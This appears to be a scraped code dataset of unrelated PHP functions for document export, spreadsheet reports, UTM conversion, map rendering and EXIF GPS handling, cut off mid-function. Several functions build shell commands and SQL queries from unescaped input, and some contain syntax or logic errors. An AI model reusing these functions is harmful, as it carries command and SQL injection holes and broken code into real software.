\r\n\t\t\t// $odt->SetLineWidth(0.4); \r\n\t\t\t// logo\r\n\t\t\t// $posy=$odt->GetY(); \r\n\t\t\t\r\n\t\t\t//if (isset($image_logo) && ($image_logo!=\"\")){\r\n\t\t\t//\t$odt->Image($image_logo,150,$posy,40);\r\n\t\t\t// }\r\n\t\t\t// $posy=$odt->GetY()+60; \r\n \t\r\n\t\t\t$odt->SetLeftMargin(15);\r\n // $odt->SetX(20);\r\n\t\t\t\r\n \r\n\t\t\t$odt->SetFont('Arial','B',14); \r\n\t\t $odt->WriteParagraphe(0,get_string('certification','referentiel'));\r\n\t\t\t// $odt->Ln(1);\r\n\t\t\t$odt->SetFont('Arial','',12); \r\n\t\t $odt->WriteParagraphe(0, $name.'('.$code.')');\r\n\t\t\t// $odt->Ln(6);\r\n\t\t\t$odt->SetFont('Arial','',10);\r\n\t\t\t$odt->WriteParagraphe(0, $description);\r\n\t\t\t//$odt->Ln(6);\r\n if ($param->certificat_sel_referentiel){\t\t\t\t\r\n\t\t\t\t // DOMAINES\r\n\t\t\t\t // LISTE DES DOMAINES\r\n\t\t\t\t $compteur_domaine=0;\r\n\t\t\t\t $records_domaine = referentiel_get_domaines($referentiel_referentiel->id);\r\n\t\t if ($records_domaine){\r\n\t\t\t\t\t foreach ($records_domaine as $record_d){\r\n\t\t\t\t\t\t ooffice_write_domaine($record_d );\r\n\t\t\t\t\t }\r\n\t\t\t\t }\t\t\t\t\r\n $ok_saut_page=true;\t\t\t\t\r\n\t\t\t} \r\n\r\n\t\t\tif ($param->certificat_sel_referentiel_instance){\r\n $odt->SetFont('Arial','B',10); \r\n\t\t\t $odt->SetFont('Arial','B',14); \r\n\t\t\t $texte= recode_utf8_vers_latin1(get_string('certification','referentiel').' <i>'.$referentiel_instance->name.'</i>');\r\n\t \t$odt->WriteParagraphe(0,$texte);\r\n\t\t\t\r\n\t\t\t $odt->SetFont('Arial','N',12); \r\n\t\t\t $texte= \"$name : $description_instance\";\r\n\t\t\t // $texte.= \"$label_domaine, $label_competence, $label_item\";\r\n\t\t\t $odt->WriteParagraphe(0,$texte);\r\n\t\t\t\r\n /*\r\n\t\t\t$odt->Ln(2);\r\n\t\t\t$odt->Write(0,\"Cours : $course\");\r\n\t\t\t$odt->Ln();\r\n $odt->Write(0,\"R�f�rentiel : $ref_referentiel\");\r\n\t\t\t$odt->Ln();\r\n $odt->Write(0,\"Visible : $visible\");\r\n\t\t\t$odt->Ln();\r\n\t\t\t*/\r\n \r\n \t\t\t $ok_saut_page=true;\r\n }\r\n\t\t\tif ($ok_saut_page==true){ // forcer le saut de page \r\n $odt->AddPage();\r\n\t\t\t}\r\n \r\n\t\t\treturn true;\r\n }\r\n\t\treturn false;\r\n }", "function area($tahun, $area, $berdasarkan)\n {\n $this->load->helper('exportexcel');\n $namaFile = \"transaksi_area.xls\";\n $judul = \"Transaksi\";\n $tablehead = 4;\n $tablebody = 5;\n $nourut = 1;\n //penulisan header\n header(\"Pragma: public\");\n header(\"Expires: 0\");\n header(\"Cache-Control: must-revalidate, post-check=0,pre-check=0\");\n header(\"Content-Type: application/force-download\");\n header(\"Content-Type: application/octet-stream\");\n header(\"Content-Type: application/download\");\n header(\"Content-Disposition: attachment;filename=\" . $namaFile . \"\");\n header(\"Content-Transfer-Encoding: binary \");\n $area2 = \"\";\n $berdasarkan2 = \"\";\n if ($area == \"-\") {\n $area = \"Semua\";\n $area2 = \"\";\n }\n if ($berdasarkan == \"-\") {\n $berdasarkan = \"Semua\";\n $berdasarkan2 = \"\";\n }\n\n xlsBOF();\n xlsWriteLabel(0, 0, \"Laporan\");\n xlsWriteLabel(1, 0, \"Tahun\");\n xlsWriteLabel(2, 0, \"Nama\");\n xlsWriteLabel(0, 1, $berdasarkan);\n xlsWriteLabel(1, 1, $tahun);\n xlsWriteLabel(2, 1, $area);\n $kolomhead = 0;\n xlsWriteLabel($tablehead, $kolomhead++, \"No\");\n xlsWriteLabel($tablehead, $kolomhead++, \"No Faktur\");\n xlsWriteLabel($tablehead, $kolomhead++, \"Tgl Kirim\");\n xlsWriteLabel($tablehead, $kolomhead++, \"Jatuh Tempo\");\n xlsWriteLabel($tablehead, $kolomhead++, \"ID Pelanggan\");\n xlsWriteLabel($tablehead, $kolomhead++, \"Nama Pelanggan\");\n xlsWriteLabel($tablehead, $kolomhead++, \"Nama Barang\");\n xlsWriteLabel($tablehead, $kolomhead++, \"QTY\");\n xlsWriteLabel($tablehead, $kolomhead++, \"Satuan\");\n xlsWriteLabel($tablehead, $kolomhead++, \"Kota\");\n xlsWriteLabel($tablehead, $kolomhead++, \"Kecamatan\");\n xlsWriteLabel($tablehead, $kolomhead++, \"Kelurahan\");\n xlsWriteLabel($tablehead, $kolomhead++, \"No Telpon\");\n xlsWriteLabel($tablehead, $kolomhead++, \"Surveyor\");\n xlsWriteLabel($tablehead, $kolomhead++, \"Debt\");\n xlsWriteLabel($tablehead, $kolomhead++, \"Jumlah\");\n\n $record = $this->mLap->laporan_area($tahun, $area2, $berdasarkan2);\n $total = 0;\n foreach ($record as $data) {\n $kolombody = 0;\n xlsWriteNumber($tablebody, $kolombody++, $nourut);\n xlsWriteLabel($tablebody, $kolombody++, $data->id_transaksi);\n xlsWriteLabel($tablebody, $kolombody++, $data->tgl_transaksi);\n xlsWriteLabel($tablebody, $kolombody++, $data->jatuh_tempo);\n xlsWriteLabel($tablebody, $kolombody++, $data->id_pelanggan);\n xlsWriteLabel($tablebody, $kolombody++, $data->nama_pelanggan);\n xlsWriteLabel($tablebody, $kolombody++, $data->nama_barang);\n xlsWriteNumber($tablebody, $kolombody++, $data->qty);\n xlsWriteLabel($tablebody, $kolombody++, $data->satuan);\n xlsWriteLabel($tablebody, $kolombody++, $data->kota);\n xlsWriteLabel($tablebody, $kolombody++, $data->kecamatan);\n xlsWriteLabel($tablebody, $kolombody++, $data->kelurahan);\n xlsWriteLabel($tablebody, $kolombody++, $data->no_telp);\n xlsWriteLabel($tablebody, $kolombody++, $data->nama_karyawan);\n xlsWriteLabel($tablebody, $kolombody++, $data->username);\n xlsWriteNumber($tablebody, $kolombody++, $data->subtotal);\n $tablebody++;\n $nourut++;\n $total += $data->subtotal;\n }\n xlsWriteLabel($tablebody, 14, 'Total');\n xlsWriteNumber($tablebody, 15, $total);\n xlsEOF();\n exit();\n }", "function UTMtoGeog_v1($Easting,$Northing,$UtmZone,$SouthofEquator=false) {\n\t//Declarations\n\t//Symbols as used in USGS PP 1395: Map Projections - A Working Manual\n\t$k0 = 0.9996;//scale on central meridian\n\t$a = 6378137.0;//equatorial radius, meters.\n\t$f = 1/298.2572236;//polar flattening.\n\t$b = $a*(1-$f);//polar axis.\n\t$e = sqrt(1 - $b*$b/$a*$a);//eccentricity\n\t$drad = pi()/180;//Convert degrees to radians)\n\t$phi = 0;//latitude (north +, south -), but uses phi in reference\n\t$e0 = $e/sqrt(1 - $e*$e);//e prime in reference\n\n\t$lng = 0;//Longitude (e = +, w = -)\n\t$lng0 = 0;//longitude of central meridian\n\t$lngd = 0;//longitude in degrees\n\t$M = 0;//M requires calculation\n\t$x = 0;//x coordinate\n\t$y = 0;//y coordinate\n\t$k = 1;//local scale\n\t$zcm = 0;//zone central meridian\n\t//End declarations\n\n\n\t//Convert UTM Coordinates to Geographic\n\n\t$k0 = 0.9996;//scale on central meridian\n\t$b = $a*(1-$f);//polar axis.\n\t$e = sqrt(1 - ($b/$a)*($b/$a));//eccentricity\n\t$e0 = $e/sqrt(1 - $e*$e);//Called e prime in reference\n\t$esq =(1 - ($b/$a)*($b/$a));//e squared for use in expansions\n\t$e0sq =$e*$e/(1-$e*$e);// e0 squared - always even powers\n\t$x = $Easting;\n\n\t/*\n\tif ($x<160000 || $x>840000)\n\t\techo \"($x,$y) Outside permissible range of easting values \\n Results may be unreliable \\n Use with caution\\n<br />\";\n\t$y = $Northing;\n\tif ($y<0)\n\t\techo \"Negative values not allowed \\n Results may be unreliable \\n Use with caution\\n\";\n\tif ($y>10000000)\n\t\techo \"Northing may not exceed 10,000,000 \\n Results may be unreliable \\n Use with caution\\n\";\n\t*/\n\n\t$zcm =3 + 6*($UtmZone-1) - 180;//Central meridian of zone\n\t$e1 =(1 - sqrt(1 - $e*$e))/(1 + sqrt(1 - $e*$e));//Called e1 in USGS PP 1395 also\n\t$M0 =0;//In case origin other than zero lat - not needed for standard UTM\n\t$M =$M0 + $y/$k0;//Arc length along standard meridian.\n\tif ($SouthofEquator === true)\n\t$M=$M0+($y-10000000)/$k;\n\t$mu =$M/($a*(1 - $esq*(1/4 + $esq*(3/64 + 5*$esq/256))));\n\t$phi1 =$mu + $e1*(3/2 - 27*$e1*$e1/32)*sin(2*$mu) + $e1*$e1*(21/16 -55*$e1*$e1/32)*sin(4*$mu);//Footprint Latitude\n\t$phi1 =$phi1 + $e1*$e1*$e1*(sin(6*$mu)*151/96 + $e1*sin(8*$mu)*1097/512);\n\t$C1 =$e0sq*pow(cos($phi1),2);\n\t$T1 =pow(tan($phi1),2);\n\t$N1 =$a/sqrt(1-pow($e*sin($phi1),2));\n\t$R1 =$N1*(1-$e*$e)/(1-pow($e*sin($phi1),2));\n\t$D =($x-500000)/($N1*$k0);\n\t$phi =($D*$D)*(1/2 - $D*$D*(5 + 3*$T1 + 10*$C1 - 4*$C1*$C1 - 9*$e0sq)/24);\n\t$phi =$phi + pow($D,6)*(61 + 90*$T1 + 298*$C1 + 45*$T1*$T1 -252*$e0sq - 3*$C1*$C1)/720;\n\t$phi =$phi1 - ($N1*tan($phi1)/$R1)*$phi;\n\t//Longitude\n\t$lng =$D*(1 + $D*$D*((-1 -2*$T1 -$C1)/6 + $D*$D*(5 - 2*$C1 + 28*$T1 - 3*$C1*$C1 +8*$e0sq + 24*$T1*$T1)/120))/cos($phi1);\n\t$lngd = $zcm+$lng/$drad;\n\n\treturn array(floor(1000000*$phi/$drad)/1000000,floor(1000000*$lngd)/1000000); //Latitude,Longitude\n\t}", "function ooffice_write_domaine( $domaine ) {\r\nglobal $odt;\r\n \r\n\t\tif ($domaine){\r\n $code = $domaine->code_domaine;\r\n $description_domaine = $domaine->description_domaine;\r\n $ref_referentiel = $domaine->ref_referentiel;\r\n\t\t\t$num_domaine = $domaine->num_domaine;\r\n\t\t\t$nb_competences = $domaine->nb_competences;\r\n \t\t\t$odt->SetFont('Arial','B',10); \r\n \t $odt->Write(0,recode_utf8_vers_latin1(trim(get_string('domaine','referentiel').\" : \".stripslashes($code))));\r\n $odt->Ln(1);\r\n $odt->SetFont('Arial','',10); \r\n \t $odt->Write(0, recode_utf8_vers_latin1(trim(stripslashes($description_domaine))));\r\n \t \t$odt->Ln(1);\r\n\t\t\t$odt->Ln(1);\r\n\t\t\t// LISTE DES COMPETENCES DE CE DOMAINE\r\n\t\t\t$records_competences = referentiel_get_competences($domaine->id);\r\n\t\t\tif ($records_competences){\r\n\t\t\t\tforeach ($records_competences as $record_c){\r\n ooffice_write_competence( $record_c );\r\n\t\t\t\t}\r\n\t\t\t}\r\n }\r\n}", "function buildGeoPosition($equipment)\r\n{\r\n\r\n // Try the connection to MySQL + Select the relevant database\r\n // Make the SQL connection global as soon as possible\r\n $dbc = @mysqli_connect(DB_HOST, DB_USER , DB_PASSWORD) ;\r\n if ($dbc)\r\n {\r\n if(!mysqli_select_db($dbc, DB_NAME))\r\n {\r\n trigger_error(\"Could not select the database!<br>MYSQL Error:\" . mysqli_error($dbc)) ;\r\n exit();\r\n }\r\n }\r\n else\r\n {\r\n trigger_error(\"Could not connect to MySQL!<br>MYSQL Error:\" . mysqli_error($dbc));\r\n exit();\r\n }\r\n\r\n // Get the last position of the scentinel\r\n $query = \"SELECT sample.id AS sample_id, sample.lat, sample.lon\r\n FROM sample\r\n WHERE equipement = \" . $equipment\r\n . \" ORDER BY sampledat DESC LIMIT 1\";\r\n $result = mysqli_query($dbc, $query) or trigger_error(\"Query: $query\\n<br>MySQL Error: \" . mysqli_error($dbc));\r\n $row = mysqli_fetch_array($result, MYSQLI_NUM) ;\r\n $lat = $row[1] ;\r\n $lon = $row[2] ;\r\n \r\n $final_geoposition = '{lat: ' . $lat . ', lng: ' . $lon '};';\r\n \r\n return array($final_geoposition) ;\r\n}", "static function loadDBData($row, $conn, $locationobj=NULL) {\n if ( $locationobj == NULL ) {\n $locationobj = new Location();\n }\n $locationobj = POIBaseType::loadDBData($row, $conn, $locationobj);\n\n // get all points\n $sql = \"SELECT * FROM geo WHERE objname LIKE 'POINT' AND parentid = '\" . $locationobj->myid . \"' AND deleted IS NULL\";\n // echo \"$sql\\n\";\n $c = $conn->query($sql);\n if ( $c ) {\n foreach ($c as $row) {\n $g = Geom::loadDBData($row, $conn);\n $locationobj->addPointGeom($g);\n }\n }\n\n // get all lines\n $sql = \"SELECT * FROM geo WHERE objname LIKE 'LINESTRING' AND parentid = '\" . $locationobj->myid . \"' AND deleted IS NULL\";\n // echo \"$sql\\n\";\n $c = $conn->query($sql);\n if ( $c ) {\n foreach ($c as $row) {\n $g = Geom::loadDBData($row, $conn);\n $locationobj->addLineGeom($g);\n }\n }\n\n // get all polygons\n $sql = \"SELECT * FROM geo WHERE objname LIKE 'POLYGON' AND parentid = '\" . $locationobj->myid . \"' AND deleted IS NULL\";\n $c = $conn->query($sql);\n if ( $c ) {\n foreach ($c as $row) {\n $g = Geom::loadDBData($row, $conn);\n $locationobj->addPolygonGeom($g);\n }\n }\n\n // get any address\n $sql = \"SELECT * FROM POIBaseType WHERE objname LIKE 'ADDRESS' and parentid = '\" . $locationobj->myid . \"' AND deleted is NULL\";\n $c = $conn->query($sql);\n if ( $c ) {\n foreach ($c as $row) {\n $a = POIBaseType::loadDBData($row, $conn);\n $locationobj->setAddress($a);\n }\n }\n\n // get all the relationships\n $sql = \"SELECT * FROM relationship WHERE parentid = '\" . $locationobj->myid . \"' AND deleted IS NULL\";\n $c = $conn->query($sql);\n if ( $c ) {\n foreach ($c as $row) {\n $rel = Relationship::loadDBData($row, $conn);\n $locationobj->addRelationship($rel);\n }\n }\n\n // get any undetermined stuff\n if ( !empty($row['undetermined']) )\n $locationobj->undetermined = $row['undetermined'];\n \n return $locationobj;\n }", "function geo_param( $param )\n\t{\n\t\t$this->pieces = explode(\" \", str_replace ( ' O' , ' E' , str_replace( '_', ' ', $param )));\n\t\t$this->get_coor( );\n\t\t\n\t\t$this->latdeg_min = $this->latdeg_max = $this->latdeg;\n\t\t$this->londeg_min = $this->londeg_max = $this->londeg;\n\t\tif ( isset( $this->pieces[0] ) && $this->pieces[0] == \"to\") {\n\t\t\tarray_shift($this->pieces);\n\t\t\t$this->get_coor();\n\t\t\tif ($this->latdeg < $this->latdeg_max) {\n\t\t\t\t$this->latdeg_min = $this->latdeg;\n\t\t\t} else {\n\t\t\t\t$this->latdeg_max = $this->latdeg;\n\t\t\t}\n\t\t\tif ($this->londeg < $this->londeg_max) {\n\t\t\t\t$this->londeg_min = $this->londeg;\n\t\t\t} else {\n\t\t\t\t$this->londeg_max = $this->londeg;\n\t\t\t}\n\t\t\t$this->latdeg = ($this->latdeg_max+$this->latdeg_min) / 2;\n\t\t\t$this->londeg = ($this->londeg_max+$this->londeg_min) / 2;\n\t\t\t$this->coor = array();\n\t\t}\n\t}", "function set_exif_coords($filename, $lat, $lng) {\n echo \" Setting coords ($lat, $lng) for $filename\\n\";\n $cmd = \"/usr/bin/exiftool -overwrite_original -XMP:GPSLongitude='$lng' -XMP:GPSLatitude='$lat' -GPSLongitudeRef='West' -GPSLatitudeRef='North' '$filename' 2>&1 1> /dev/null\";\n $results = shell_exec($cmd);\n if(strpos($results, 'looks more like a PNG') !== false) {\n $results = shell_exec(\"/usr/bin/mogrify -format jpg '$filename'\");\n $results = shell_exec($cmd);\n }\n }", "function download_map($realm, $sx, $sy)\n{\n // \"Constants\"\n $border_size = 35;\n $room_size = 90;\n $roomnameclip = 15;\n\n // Get realm mins/maxs/size\n $x_min = $GLOBALS['SITE_DB']->query_select_value('w_rooms', 'MIN(location_x)', array('location_realm' => $realm));\n $y_min = $GLOBALS['SITE_DB']->query_select_value('w_rooms', 'MIN(location_y)', array('location_realm' => $realm));\n $x_max = $GLOBALS['SITE_DB']->query_select_value('w_rooms', 'MAX(location_x)', array('location_realm' => $realm));\n $y_max = $GLOBALS['SITE_DB']->query_select_value('w_rooms', 'MAX(location_y)', array('location_realm' => $realm));\n $x_rooms = $x_max - $x_min + 1;\n $y_rooms = $y_max - $y_min + 1;\n\n // Create image\n $width = $border_size * 2 + $room_size * $x_rooms;\n $height = $border_size * 2 + $room_size * $y_rooms;\n $my_img = imagecreate($width, $height);\n $bgcolor = imagecolorallocate($my_img, 0xff, 0xff, 0xff); // Map background colour\n $cucolor = imagecolorallocate($my_img, 0x00, 0xff, 0x00); // Current Room colour\n $rmcolor = imagecolorallocate($my_img, 0xdd, 0xdd, 0xdd); // Room colour\n $txcolor = imagecolorallocate($my_img, 0x00, 0x00, 0xff); // Text colour\n $wlcolor = imagecolorallocate($my_img, 0xff, 0x00, 0x00); // Wall colour\n imagefill($my_img, 0, 0, $bgcolor);\n\n // Load font\n $my_font = 0;\n\n $member_id = get_member();\n\n // Draw rooms\n for ($x = $x_min; $x <= $x_max; $x++) {\n for ($y = $y_min; $y <= $y_max; $y++) {\n // Check the room exists\n $rooms = $GLOBALS['SITE_DB']->query_select('w_rooms', array('*'), array('location_x' => $x, 'location_y' => $y, 'location_realm' => $realm), '', 1);\n if (!array_key_exists(0, $rooms)) {\n continue;\n }\n $room = $rooms[0];\n $name = $room['name'];\n\n $portal = ($room['allow_portal'] == 1) ? do_lang('W_PORTAL_SPOT') : '';\n\n // Check user has been in room, to see if we perhaps need to mask the room name\n $yes = $GLOBALS['SITE_DB']->query_select_value_if_there('w_travelhistory', 'member_id', array('x' => $x, 'y' => $y, 'realm' => $realm, 'member_id' => $member_id));\n if (!isset($yes)) {\n $name = do_lang('W_UNKNOWN_ROOM_NAME');\n }\n\n // Room surrounding ordinates\n $_x = $x - $x_min;\n $_y = $y - $y_min;\n $ax = $_x * $room_size + $border_size + 1;\n $ay = $_y * $room_size + $border_size + 1;\n $bx = $_x * $room_size + $border_size + $room_size - 1;\n $by = $_y * $room_size + $border_size + $room_size - 1;\n\n $owner = $GLOBALS['FORUM_DRIVER']->get_username($room['owner']);\n if (is_null($owner)) {\n $owner = do_lang('UNKNOWN');\n }\n\n // Draw room\n if (($x == $sx) && ($y == $sy)) {\n imagerectangle($my_img, $ax + 3, $ay + 3, $bx - 3, $by - 3, $cucolor);\n }\n imagerectangle($my_img, $ax, $ay, $bx, $by, $rmcolor);\n\n // Draw room borders if the walls are locked (solid/no-door)\n if ($room['locked_left'] == 1) {\n imageline($my_img, $ax, $ay, $ax, $by, $wlcolor);\n }\n if ($room['locked_right'] == 1) {\n imageline($my_img, $bx, $ay, $bx, $by, $wlcolor);\n }\n if ($room['locked_up'] == 1) {\n imageline($my_img, $ax, $ay, $bx, $ay, $wlcolor);\n }\n if ($room['locked_down'] == 1) {\n imageline($my_img, $ax, $by, $bx, $by, $wlcolor);\n }\n\n // Draw room name and coordinate\n $room_name1 = substr($name, 0, $roomnameclip);\n $room_name2 = substr($name, $roomnameclip, $roomnameclip);\n $room_name3 = substr($name, $roomnameclip * 2, $roomnameclip);\n $room_name4 = substr($name, $roomnameclip * 3);\n imagestring($my_img, $my_font, $ax + 2, $ay + 2 + (imagefontheight($my_font) + 2) * 0, $room_name1, $txcolor);\n imagestring($my_img, $my_font, $ax + 2, $ay + 2 + (imagefontheight($my_font) + 2) * 1, $room_name2, $txcolor);\n imagestring($my_img, $my_font, $ax + 2, $ay + 2 + (imagefontheight($my_font) + 2) * 2, $room_name3, $txcolor);\n imagestring($my_img, $my_font, $ax + 2, $ay + 2 + (imagefontheight($my_font) + 2) * 3, $room_name4, $txcolor);\n imagestring($my_img, $my_font, $ax + 2, $ay + 2 + (imagefontheight($my_font) + 2) * 4, $portal, $txcolor);\n imagestring($my_img, $my_font, $ax + 2, $ay + 2 + (imagefontheight($my_font) + 2) * 6, \":$x:$y\", $txcolor);\n imagestring($my_img, $my_font, $ax + 2, $ay + 2 + (imagefontheight($my_font) + 2) * 7, \"$owner\", $txcolor);\n }\n }\n\n // Output to browser\n header('Content-Type: image/png');\n header('Content-Disposition: inline; filename=realm' . strval($realm) . '_map.png');\n if (cms_srv('REQUEST_METHOD') == 'HEAD') {\n return;\n }\n imagepng($my_img);\n}", "public function main()\n {\n $config = Div::getConfig();\n $config['id'] = 'map';\n $config['layer'] = 1;\n $config['mouse_navigation'] = true;\n $config['show_pan_zoom'] = 1;\n\n $field = Div::getTableConfig($this->P['table']);\n\n $this->connectionPool = GeneralUtility::makeInstance(ConnectionPool::class);\n $connection = $this->connectionPool->getConnectionForTable($this->P['table']);\n\n switch ($this->P['table']) {\n case 'tt_content':\n $res = $connection->executeQuery(\n 'SELECT ' .\n 'ExtractValue(pi_flexform,\\'/T3FlexForms[1]/data[1]/sheet[@index=\"sDEF\"]/language[@index=\"lDEF\"]/field[@index=\"' . $field['lon'] . '\"]/value[@index=\"vDEF\"]\\') AS lon, ' .\n 'ExtractValue(pi_flexform,\\'/T3FlexForms[1]/data[1]/sheet[@index=\"sDEF\"]/language[@index=\"lDEF\"]/field[@index=\"' . $field['lat'] . '\"]/value[@index=\"vDEF\"]\\') AS lat ' .\n 'FROM ' . $this->P['table'] . ' ' .\n 'WHERE uid = ' . intval($this->P['uid'])\n );\n $row = $res->fetch(FetchMode::ASSOCIATIVE);\n $js = 'function setBEcoordinates(lon,lat) {\n\t\t\t\t\t' . $this->getJSsetField($this->P, 'lon') . '\n\t\t\t\t\t' . $this->getJSsetField($this->P, 'lat', array($field['lon'] => $field['lat'])) . '\n\t\t\t\t\tclose();\n\t\t\t\t}';\n break;\n case 'tx_odsosm_vector':\n $res = $connection->executeQuery(\n 'SELECT ' .\n '(max_lon+min_lon)/2 AS lon, ' .\n '(max_lat+min_lat)/2 AS lat ' .\n 'FROM ' . $this->P['table'] . ' ' .\n 'WHERE uid = ' . intval($this->P['uid'])\n );\n $row = $res->fetch(FetchMode::ASSOCIATIVE);\n $js = 'function setBEfield(data) {\n\t\t\t\t\t' . $this->getJSsetField($this->P, 'data') . '\n\t\t\t\t\tclose();\n\t\t\t\t}';\n break;\n default:\n $res = $connection->select(\n [\n $field['lon'] . ' AS lon',\n $field['lat'] . ' AS lat'\n ],\n $this->P['table'],\n ['uid' => intval($this->P['uid'])]\n );\n $row = $res->fetch(FetchMode::ASSOCIATIVE);\n $js = 'function setBEcoordinates(lon,lat) {\n\t\t\t\t\t' . $this->getJSsetField($this->P, 'lon') . '\n\t\t\t\t\t' . $this->getJSsetField($this->P, 'lat', array($field['lon'] => $field['lat'])) . '\n\t\t\t\t\tclose();\n\t\t\t\t}';\n break;\n }\n\n $row['zoom'] = 15;\n\n if (floatval($row['lon']) == 0) {\n $row['lon'] = $config['default_lon'];\n $row['lat'] = $config['default_lat'];\n $row['zoom'] = $config['default_zoom'];\n }\n\n // Library\n $library = GeneralUtility::makeInstance(Openlayers::class);\n $library->init($config);\n $library->doc = $this->doc;\n $library->P = $this->P;\n\n // Layer\n $connection = $this->connectionPool->getConnectionForTable('tx_odsosm_layer');\n $layers = $connection->executeQuery('SELECT * FROM tx_odsosm_layer WHERE uid IN (' . $config['layer'] . ')');\n\n $this->doc->JScode .= '\n\t\t\t<script type=\"text/javascript\">\n\t\t\t\t' . $library->getMapBE($layers, $this->P['params']['mode'], $row['lat'], $row['lon'], $row['zoom'], $this->doc) . '\n\t\t\t\t' . $js . '\n\t\t\t</script>\n\t\t';\n\n $this->content .= '<div style=\"position:absolute;width:100%;height:100%;\" id=\"map\"></div><script type=\"text/javascript\">map();</script>';\n }", "public function exibirOfertaMapa($latitude,$longitude,$raio,$id_categoria)\n { \n \n try{\n $select = $this->_dbTable->\n select()->\n setIntegrityCheck(false)->\n from('oferta')->\n where(\"ACOS( COS( RADIANS( latitude ) ) * COS( RADIANS( '\".$latitude.\"' )) * COS( RADIANS( longitude ) - RADIANS( '\".$longitude.\"' )) + SIN( RADIANS( latitude ) ) * SIN( RADIANS( '\".$latitude.\"' ) ) ) * 6380*1000 <= \".$raio);\n \n if( ($id_categoria!=\"\") && ($id_categoria!=0))\n $select->where('oferta.id_categoria_oferta ='.$id_categoria);\n \n return $select->query()->fetchAll();\n \n }\n catch(Exception $e)\n {\n ZendUtils::transmissorMsg('Erro ao selecionar as Ofertas, tente novamente mais tarde. Caso o erro persista, entre em contato com o administrador!<br>'.$e->getMessage(), ZendUtils::MENSAGEM_ERRO, ZendUtils::MENSAGEM_SEM_TEMPO);\n }\n \n }", "function new_geo_info(){\n\t\tadd_meta_box( \n\t\t\t'geo_info_section',\n\t\t\t'geo_info',\n\t\t\t'geo_custom_box',\n\t\t\t'post'\n\t\t);\n\t}", "function fumseck_extract_exif_geocoord($meta, $file) {\n\t\t$exif = exif_read_data( $file );\n\t\tif ( $exif['GPSLatitude'] and $exif['GPSLatitudeRef'] and $exif['GPSLongitude'] and $exif['GPSLongitudeRef'] ) {\n\t\t\t\n\t\t\t// Save both DMS and DegDec values for easier access later\n\t\t\t\n\t\t\t$meta['latitude_DMS'] = array( \n\t\t\t\t'degrees' => fumseck_frac_string_to_dec($exif['GPSLatitude'][0]),\n\t\t\t\t'minutes' => fumseck_frac_string_to_dec($exif['GPSLatitude'][1]),\n\t\t\t\t'seconds' => fumseck_frac_string_to_dec($exif['GPSLatitude'][2]),\n\t\t\t\t'direction' => $exif['GPSLatitudeRef']\n\t\t\t);\n\t\t\t\n\t\t\t//// Harmonize MinDec and DMS and round the seconds\n\t\t\t\n\t\t\t$tmp_minutes = $meta['latitude_DMS']['minutes'];\n\t\t\t$meta['latitude_DMS']['minutes'] = intval($tmp_minutes);\n\t\t\t$meta['latitude_DMS']['seconds'] = intval( $meta['latitude_DMS']['seconds'] + (floatval($tmp_minutes) - intval($tmp_minutes)) * 60);\n\t\t\t\n\t\t\t//// Convert to DegDec\n\t\t\t\n\t\t\t$meta['latitude_DegDec'] = fumseck_geocoord_DMS_to_DegDec( \n\t\t\t\t$meta['latitude_DMS']['degrees'],\n\t\t\t\t$meta['latitude_DMS']['minutes'],\n\t\t\t\t$meta['latitude_DMS']['seconds'],\n\t\t\t\t$meta['latitude_DMS']['direction']\n\t\t\t);\n\t\t\t\n\t\t\t// Repeat for longitude\n\t\t\t\n\t\t\t$meta['longitude_DMS'] = array( \n\t\t\t\t'degrees' => fumseck_frac_string_to_dec($exif['GPSLongitude'][0]),\n\t\t\t\t'minutes' => fumseck_frac_string_to_dec($exif['GPSLongitude'][1]),\n\t\t\t\t'seconds' => fumseck_frac_string_to_dec($exif['GPSLongitude'][2]),\n\t\t\t\t'direction' => $exif['GPSLongitudeRef']\n\t\t\t);\n\t\t\t\n\t\t\t$tmp_minutes = $meta['longitude_DMS']['minutes'];\n\t\t\t$meta['longitude_DMS']['minutes'] = intval($tmp_minutes);\n\t\t\t$meta['longitude_DMS']['seconds'] = intval( $meta['longitude_DMS']['seconds'] + ( floatval($tmp_minutes) - intval($tmp_minutes)) * 60);\n\t\t\t\n\t\t\t$meta['longitude_DegDec'] = fumseck_geocoord_DMS_to_DegDec( \n\t\t\t\t$meta['longitude_DMS']['degrees'],\n\t\t\t\t$meta['longitude_DMS']['minutes'],\n\t\t\t\t$meta['longitude_DMS']['seconds'],\n\t\t\t\t$meta['longitude_DMS']['direction']\n\t\t\t);\n\t\t}\n\treturn $meta;\n}", "function fairecarte($latitude,$longitude){\n $content=file_get_contents(template_carte);\n $content = str_replace('###longitude###',$longitude,$content);\n $content = str_replace('###latitude###',$latitude,$content);\n return $content;\n}", "function ver_buscar_mapa($fid_string=\" \",$presenta=0,$idmapa=0,$intensidad){\n \n $plantilla = new DmpTemplate(\"../../../plantillas/stakeholder/mapa/ver_mapa.html\");\n \n //echo \"intensidad : $intensidad\";\n \n if($intensidad>0){\n $plantilla->iniciaBloque(\"intensidad\");\n }\n \n $imapa = new imapa();\n \n $result1 = $imapa->get_mapa();\n \n $nombres = array();\n \n $count=0;\n \n $modo=0;\n \n $color=array(\"#B19CD9\",\"#FF6961\",\"#77DD77\",\"#CFCFC4\",\"#FDFD96\");\n \n $stroke=array(\"#966FD6\",\"#C23B22\",\"#03C03C\",\"#836953\",\"#FFB347\");\n \n while($mapa= mysql_fetch_array($result1)){\n $count++;\n \n $plantilla->iniciaBloque(\"mapa\");\n $plantilla->reemplazaEnBloque(\"idmapa\", $mapa[idgis_mapa],\"mapa\");\n $plantilla->reemplazaEnBloque(\"nombre\", $mapa[nombre],\"mapa\");\n \n if( $mapa[idgis_mapa]==$idmapa || ( $mapa[predeterminado]>0 && $idmapa==0 ) ){\n \n $plantilla->reemplazaEnBloque(\"selected\", \"selected\",\"mapa\");\n \n $plantilla->reemplaza(\"frontera\", $mapa[frontera]);\n $plantilla->reemplaza(\"enfoque\", $mapa[enfoque]);\n $plantilla->reemplaza(\"resolucion\", $mapa[resolucion]);\n $plantilla->reemplaza(\"proyeccion\", $mapa[proyeccion]);\n $plantilla->reemplaza(\"unidad\", $mapa[unidad]);\n\n $i=0;\n $nombre=\"\";\n $result2 = $imapa->get_capa_mapa($mapa[idgis_mapa]);\n while($capa= mysql_fetch_array($result2)){\n $nombre=$capa[nombre];\n $nombres[$nombre]=$nombre;\n if($modo>0){\n $plantilla->iniciaBloque(\"capa\");\n $plantilla->reemplazaEnBloque(\"i\", $i, \"capa\");\n\n $plantilla->reemplazaEnBloque(\"nombre\", $nombre, \"capa\");\n\n\n $plantilla->reemplazaEnBloque(\"proyeccion\", $capa[proyeccion], \"capa\");\n if($capa[base]>0){\n 